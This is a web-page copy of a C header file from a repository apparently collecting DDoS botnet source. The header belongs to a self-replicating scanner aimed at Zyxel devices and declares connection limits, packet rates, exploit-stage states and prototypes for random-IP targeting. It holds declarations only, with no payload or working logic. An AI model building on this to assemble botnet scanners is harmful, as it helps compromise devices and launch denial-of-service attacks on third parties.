Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Zyxel/zyxel.h
5038 views
1
#pragma once
2
3
#include <stdint.h>
4
5
#include "includes.h"
6
7
#ifdef X86_64
8
#define zyxelscanner_SCANNER_MAX_CONNS 512
9
#define zyxelscanner_SCANNER_RAW_PPS 1440
10
#else
11
#define zyxelscanner_SCANNER_MAX_CONNS 256
12
#define zyxelscanner_SCANNER_RAW_PPS 1024
13
#endif
14
15
#ifdef X86_64
16
#define zyxelscanner_SCANNER_RDBUF_SIZE 1024
17
#define zyxelscanner_SCANNER_HACK_DRAIN 64
18
#else
19
#define zyxelscanner_SCANNER_RDBUF_SIZE 1024
20
#define zyxelscanner_SCANNER_HACK_DRAIN 64
21
#endif
22
23
struct zyxelscanner_scanner_connection
24
{
25
int fd, last_recv;
26
enum
27
{
28
zyxelscanner_SC_CLOSED,
29
zyxelscanner_SC_CONNECTING,
30
zyxelscanner_SC_EXPLOIT_STAGE2,
31
zyxelscanner_SC_EXPLOIT_STAGE3,
32
} state;
33
ipv4_t dst_addr;
34
uint16_t dst_port;
35
int rdbuf_pos;
36
char rdbuf[zyxelscanner_SCANNER_RDBUF_SIZE];
37
char payload_buf[2024];
38
};
39
40
void zyxelscanner_scanner_init();
41
void zyxelscanner_scanner_kill(void);
42
43
static void zyxelscanner_setup_connection(struct zyxelscanner_scanner_connection *);
44
static ipv4_t zyxelscanner_get_random_ip(void);
45
46
47